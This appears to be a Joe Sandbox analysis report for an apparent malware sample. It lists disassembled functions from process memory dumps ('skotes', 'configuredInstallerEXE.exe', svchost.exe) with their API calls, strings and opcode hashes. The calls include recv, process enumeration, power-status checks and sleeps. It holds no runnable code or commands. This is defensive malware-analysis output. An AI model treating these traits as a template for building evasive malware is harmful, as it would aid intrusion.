Function 00997A00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 123COMMON

Download Yara Rule

APIs

__Cnd_unregister_at_thread_exit.LIBCPMT ref: 00997AEC
__Cnd_destroy_in_situ.LIBCPMT ref: 00997AF8
__Mtx_destroy_in_situ.LIBCPMT ref: 00997B01

Strings

O6f&, xrefs: 00997A09, 00997A9B

Memory Dump Source

Source File: 00000007.00000002.3301270870.0000000000981000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00980000, based on PE: true

Associated: 00000007.00000002.3301040973.0000000000980000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3301270870.00000000009E2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302052223.00000000009E9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.00000000009EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000B61000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C44000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C70000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C79000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C87000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3306909037.0000000000C88000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308209764.0000000000E1B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308421302.0000000000E1C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308689326.0000000000E1D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308914631.0000000000E1E000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_980000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situ
String ID: O6f&
API String ID: 4078500453-595543945
Opcode ID: 4763b39753eacf4b8f909bf6438043ce78abfe45db808db7957e2de35d5136cc
Instruction ID: ceee6d95c32b1792cbf6a75c99b02d641feb972465cbd5527b4734ee525dfbc5
Opcode Fuzzy Hash: 4763b39753eacf4b8f909bf6438043ce78abfe45db808db7957e2de35d5136cc
Instruction Fuzzy Hash: 983103B1A153059FDB20DFACD981B6AF7E8EF54310F100A2EE945C3241EB71EA5487A1

Function 0098E0C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 102networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,00000004,00000000), ref: 0098E10B
recv.WS2_32(?,?,00000008,00000000), ref: 0098E140

Strings

O6f&, xrefs: 0098E0D4

Memory Dump Source

Source File: 00000007.00000002.3301270870.0000000000981000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00980000, based on PE: true

Associated: 00000007.00000002.3301040973.0000000000980000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3301270870.00000000009E2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302052223.00000000009E9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.00000000009EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000B61000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C44000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C70000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C79000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C87000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3306909037.0000000000C88000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308209764.0000000000E1B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308421302.0000000000E1C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308689326.0000000000E1D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308914631.0000000000E1E000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_980000_skotes.jbxd

Yara matches

Similarity

API ID: recv
String ID: O6f&
API String ID: 1507349165-595543945
Opcode ID: d0ac5f5406f41ba70c9c3ca808db000a6b242b4bbf1d19bc1a8b71b43b4ee5de
Instruction ID: 822934215661746a148b68ad7a9f33ebda898b7f4977aef0823965a11b47a208
Opcode Fuzzy Hash: d0ac5f5406f41ba70c9c3ca808db000a6b242b4bbf1d19bc1a8b71b43b4ee5de
Instruction Fuzzy Hash: 0331F871A142889BDB10DBADDC95FAB77BCEB08724F000625F514E73D1DA74AC448B60

Function 009BCBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 009BCC66

Memory Dump Source

Source File: 00000007.00000002.3301270870.0000000000981000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00980000, based on PE: true

Associated: 00000007.00000002.3301040973.0000000000980000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3301270870.00000000009E2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302052223.00000000009E9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.00000000009EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000B61000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C44000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C70000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C79000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C87000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3306909037.0000000000C88000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308209764.0000000000E1B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308421302.0000000000E1C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308689326.0000000000E1D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308914631.0000000000E1E000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_980000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: 2a143a1f755ff1501cbd9cb3b2afb6d4d51b9e801d2c377deca683f739e72ae5
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: 93B146B2D002469FDB15CF28C981BEEBFE9EF95360F14456AE855EB281D6349D01CB60

Function 009BFCC0 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 322COMMON

Download Yara Rule

APIs

__fassign.LIBCMT ref: 009BFEE7
__fassign.LIBCMT ref: 009BFF04

Strings

O6f&, xrefs: 009BFCCB

Memory Dump Source

Source File: 00000007.00000002.3301270870.0000000000981000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00980000, based on PE: true

Associated: 00000007.00000002.3301040973.0000000000980000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3301270870.00000000009E2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302052223.00000000009E9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.00000000009EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000B61000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C44000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C70000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C79000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C87000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3306909037.0000000000C88000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308209764.0000000000E1B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308421302.0000000000E1C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308689326.0000000000E1D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308914631.0000000000E1E000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_980000_skotes.jbxd

Yara matches

Similarity

API ID: __fassign
String ID: O6f&
API String ID: 3965848254-595543945
Opcode ID: fe6ef7739958e9c8058afde7270bb66a42b22fbb93a0427337287e14aa83d0f9
Instruction ID: a76598f05d8eaecf34867cbcc7f60ca82ef067ce81d2f6dae2091348db3094e3
Opcode Fuzzy Hash: fe6ef7739958e9c8058afde7270bb66a42b22fbb93a0427337287e14aa83d0f9
Instruction Fuzzy Hash: DFC19C71D042599FCF15CFE8C990AEDBBB5BF89314F28016AE855BB242D730AE46CB50

Function 009826B0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 207COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00982846
___std_exception_destroy.LIBVCRUNTIME ref: 009828E0

Strings

O6f&, xrefs: 009826D8

Memory Dump Source

Source File: 00000007.00000002.3301270870.0000000000981000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00980000, based on PE: true

Associated: 00000007.00000002.3301040973.0000000000980000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3301270870.00000000009E2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302052223.00000000009E9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.00000000009EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000B61000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C44000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C70000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C79000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C87000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3306909037.0000000000C88000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308209764.0000000000E1B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308421302.0000000000E1C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308689326.0000000000E1D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308914631.0000000000E1E000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_980000_skotes.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy___std_exception_destroy
String ID: O6f&
API String ID: 2970364248-595543945
Opcode ID: c7fc4c3d35eb226f0b5466b83b1f1dbc757cff1f09da1ec960d46477d017f18e
Instruction ID: 92440555040f4fa1c29ac19cc2a73ecfec3aa77d972c9769329063a6a2748932
Opcode Fuzzy Hash: c7fc4c3d35eb226f0b5466b83b1f1dbc757cff1f09da1ec960d46477d017f18e
Instruction Fuzzy Hash: E1717071E002489BDF04DFA8C881BDEFBB5EF99310F14822DE815A7381D774A944CBA5

Function 0098DBE0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 189COMMON

Download Yara Rule

Strings

O6f&, xrefs: 0098DBE6, 0098DD2F
list too long, xrefs: 0098E09D

Memory Dump Source

Source File: 00000007.00000002.3301270870.0000000000981000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00980000, based on PE: true

Associated: 00000007.00000002.3301040973.0000000000980000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3301270870.00000000009E2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302052223.00000000009E9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.00000000009EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000B61000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C44000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C70000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C79000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C87000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3306909037.0000000000C88000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308209764.0000000000E1B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308421302.0000000000E1C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308689326.0000000000E1D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308914631.0000000000E1E000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_980000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: O6f&$list too long
API String ID: 0-3984400144
Opcode ID: 0086c87b37e106aa78b2f8dc4b8ec59d771b931f2c35f39ff2b6dbd64e07f2cc
Instruction ID: 3600a7982d8a57b1885a04058febc350b314b0cbef39fd8d0fa7ea613e007352
Opcode Fuzzy Hash: 0086c87b37e106aa78b2f8dc4b8ec59d771b931f2c35f39ff2b6dbd64e07f2cc
Instruction Fuzzy Hash: 196193B0D083599BDB20DF64CD85B9AB7B8EF54710F0045AAF80CAB391EB70AA41CF51

Function 00982B10 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00982B63

Strings

This function cannot be called on a default constructed task, xrefs: 00982B43
O6f&, xrefs: 00982B36

Memory Dump Source

Source File: 00000007.00000002.3301270870.0000000000981000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00980000, based on PE: true

Associated: 00000007.00000002.3301040973.0000000000980000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3301270870.00000000009E2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302052223.00000000009E9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.00000000009EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000B61000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C44000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C70000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C79000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C87000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3306909037.0000000000C88000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308209764.0000000000E1B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308421302.0000000000E1C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308689326.0000000000E1D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308914631.0000000000E1E000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_980000_skotes.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: O6f&$This function cannot be called on a default constructed task
API String ID: 2659868963-2793010622
Opcode ID: a3169f0088ce31d52bedae648b492284dd8ccc6e1567c7004ed1c6670461a6d4
Instruction ID: 1a1c2677bc6afa002306940d3ab228e49186170de6599f29fb3eef261fccdf52
Opcode Fuzzy Hash: a3169f0088ce31d52bedae648b492284dd8ccc6e1567c7004ed1c6670461a6d4
Instruction Fuzzy Hash: 01F0967191430CABCB20EFAC9C41A9EB7ED9F55700F1081AEF80497301EB70AA548B95

Function 0098E360 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0098E4F9

Strings

invalid stoi argument, xrefs: 0098E4F4
O6f&, xrefs: 0098E370

Memory Dump Source

Source File: 00000007.00000002.3301270870.0000000000981000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00980000, based on PE: true

Associated: 00000007.00000002.3301040973.0000000000980000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3301270870.00000000009E2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302052223.00000000009E9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.00000000009EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000B61000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C44000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C70000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C79000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C87000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3306909037.0000000000C88000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308209764.0000000000E1B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308421302.0000000000E1C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308689326.0000000000E1D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308914631.0000000000E1E000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_980000_skotes.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_
String ID: O6f&$invalid stoi argument
API String ID: 909987262-400640789
Opcode ID: 1354060779f808a0b2bed5bad382c14926cda6fe6d956ddfa405f63afb95734b
Instruction ID: 881e2330ca83ab80f1b9ea811c34fd590c70dc6c375508012db6d1a3cae17dff
Opcode Fuzzy Hash: 1354060779f808a0b2bed5bad382c14926cda6fe6d956ddfa405f63afb95734b
Instruction Fuzzy Hash: 42F09672518350ABD730AB68DD46B5773ECDB8A721F00882AFD2497352EB706D00D7A3

Analysis Process: configuredInstallerEXE.exePID: 1684, Parent PID: 744COMMON

Non-executed Functions

Function 00007FF733FD98CC Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF733FD98F8
GetCurrentThreadId.KERNEL32 ref: 00007FF733FD9906
GetCurrentProcessId.KERNEL32 ref: 00007FF733FD9912
QueryPerformanceCounter.KERNEL32 ref: 00007FF733FD9922

Memory Dump Source

Source File: 00000008.00000002.2914830050.00007FF733FD1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF733FD0000, based on PE: true

Associated: 00000008.00000002.2914800542.00007FF733FD0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.2914870157.00007FF733FFC000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.2914901306.00007FF73400E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.2914927985.00007FF73400F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.2915423681.00007FF734734000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.2915452692.00007FF734737000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff733fd0000_configuredInstallerEXE.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: e158a846e2d510172019959812c8702aff39791d042fdd529c55be0ec670a184
Instruction ID: cb7f53241d189d91049daa6cd46dbc8b289db35eb20c236f5470ae0e0d4cda0c
Opcode Fuzzy Hash: e158a846e2d510172019959812c8702aff39791d042fdd529c55be0ec670a184
Instruction Fuzzy Hash: F6114F22B15B0299EB50AF61E8442A873A4FB19758F840E31DE6D92794DF38D1A48350

Function 0000000180011050 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000000018001107C
GetCurrentThreadId.KERNEL32 ref: 000000018001108A
GetCurrentProcessId.KERNEL32 ref: 0000000180011096
QueryPerformanceCounter.KERNEL32 ref: 00000001800110A6

Memory Dump Source

Source File: 00000008.00000003.2911688032.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000008.00000003.2829669957.0000000180722000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000003.2911655620.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000003.2911738024.0000000180035000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000003.2911787397.0000000180048000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000003.2912429302.000000018071E000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_3_180000000_configuredInstallerEXE.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: edb519d0623a014c65b94e5399c1cc8b4dff7465c71466e88310a1ff4e780e76
Instruction ID: ae4323b361d7af50f369d0de31908a6288bda94dc20693361b2c5c0e2e45bb7d
Opcode Fuzzy Hash: edb519d0623a014c65b94e5399c1cc8b4dff7465c71466e88310a1ff4e780e76
Instruction Fuzzy Hash: FC115B32710F088AEB41DF60E8553E933A4F71DB99F454E21EE6D86BA4DF78C2998340

Analysis Process: svchost.exePID: 5484, Parent PID: 632COMMON

Non-executed Functions

Function 0000000180012D00 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 0000000180012D2C
GetCurrentThreadId.KERNEL32 ref: 0000000180012D3A
GetCurrentProcessId.KERNEL32 ref: 0000000180012D46
QueryPerformanceCounter.KERNEL32 ref: 0000000180012D56

Memory Dump Source

Source File: 00000009.00000002.2885318862.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000009.00000002.2885266907.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2885388402.000000018003C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2885437063.0000000180050000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2887466679.0000000180689000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_180000000_svchost.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: e33f3763f486ca1438b2d0463ba481b31684404db9963a6ed724b181b302ea23
Instruction ID: 6419bf4a85200f734978b416e596419df5e66e0adaa88c80bd2b46df35350996
Opcode Fuzzy Hash: e33f3763f486ca1438b2d0463ba481b31684404db9963a6ed724b181b302ea23
Instruction Fuzzy Hash: 7211FE36710F088AEB41CF60E8553AA33A4F75D798F445E25EA6D867A4DF78C2588340

Function 00007FF8A886ACB0 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF8A886ACDC
GetCurrentThreadId.KERNEL32 ref: 00007FF8A886ACEA
GetCurrentProcessId.KERNEL32 ref: 00007FF8A886ACF6
QueryPerformanceCounter.KERNEL32 ref: 00007FF8A886AD06

Memory Dump Source

Source File: 00000009.00000002.2890458307.00007FF8A8861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8A8860000, based on PE: true

Associated: 00000009.00000002.2890420724.00007FF8A8860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.2890503390.00007FF8A888E000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.2890545106.00007FF8A889F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.2890582403.00007FF8A88A0000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.2891186845.00007FF8A8F30000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.2891237939.00007FF8A8F33000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8a8860000_svchost.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 53de753935863a90f979d3236518dfbe8d7159a6ae722a65edc04a0dca8e4d70
Instruction ID: 052e510325946dd6b1c3a91f7e21871f7a857433b199f96ec07a85ef857a8981
Opcode Fuzzy Hash: 53de753935863a90f979d3236518dfbe8d7159a6ae722a65edc04a0dca8e4d70
Instruction Fuzzy Hash: FC117C36B16F019AEB40DF60E8442B833A4FB59B98F040E71DA2D877A4DF3CD1648350

Analysis Process: svchost.exePID: 384, Parent PID: 632COMMON

Execution Graph

Execution Coverage:	2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	42.8%
Total number of Nodes:	304
Total number of Limit Nodes:	18

Executed Functions

Function 000000018000AAC0 Relevance: 87.0, APIs: 38, Strings: 11, Instructions: 1271sleepthreadprocessCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32 ref: 000000018000AB06
CreateThread.KERNELBASE ref: 000000018000ABDE
CreateThread.KERNELBASE ref: 000000018000AC38
GlobalMemoryStatusEx.KERNELBASE ref: 000000018000ADF2
CreateToolhelp32Snapshot.KERNEL32 ref: 000000018000AE97
Process32FirstW.KERNEL32 ref: 000000018000AEB4
Process32NextW.KERNEL32 ref: 000000018000B664
GetSystemPowerStatus.KERNEL32 ref: 000000018000B67E
GetSystemPowerStatus.KERNEL32 ref: 000000018000B6A4
GetPwrCapabilities.POWRPROF ref: 000000018000B6BC
EnterCriticalSection.KERNEL32 ref: 000000018000B8A0
LeaveCriticalSection.KERNEL32 ref: 000000018000B8B4
Sleep.KERNEL32 ref: 000000018000BC30

Part of subcall function 0000000180002730: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00000001800028AD
Part of subcall function 0000000180002730: Concurrency::cancel_current_task.LIBCPMT ref: 00000001800028B3

Sleep.KERNEL32 ref: 000000018000BDF4
SleepEx.KERNELBASE ref: 000000018000BDFF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000000018000BE0A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000000018000BE10
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000000018000BE16
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000000018000BE1C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000000018000BE22
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000000018000BE28
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000000018000BE2E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000000018000BE34
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000000018000BE3A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000000018000BE40
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000000018000BE46
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000000018000BE4C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000000018000BE52
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000000018000BE58
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000000018000BE5E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000000018000BE64
GlobalMemoryStatusEx.KERNELBASE ref: 000000018000BEAE
EnterCriticalSection.KERNEL32 ref: 000000018000BEBB
LeaveCriticalSection.KERNEL32 ref: 000000018000BEE3
GlobalMemoryStatusEx.KERNELBASE ref: 000000018000BF78
EnterCriticalSection.KERNEL32 ref: 000000018000C03D
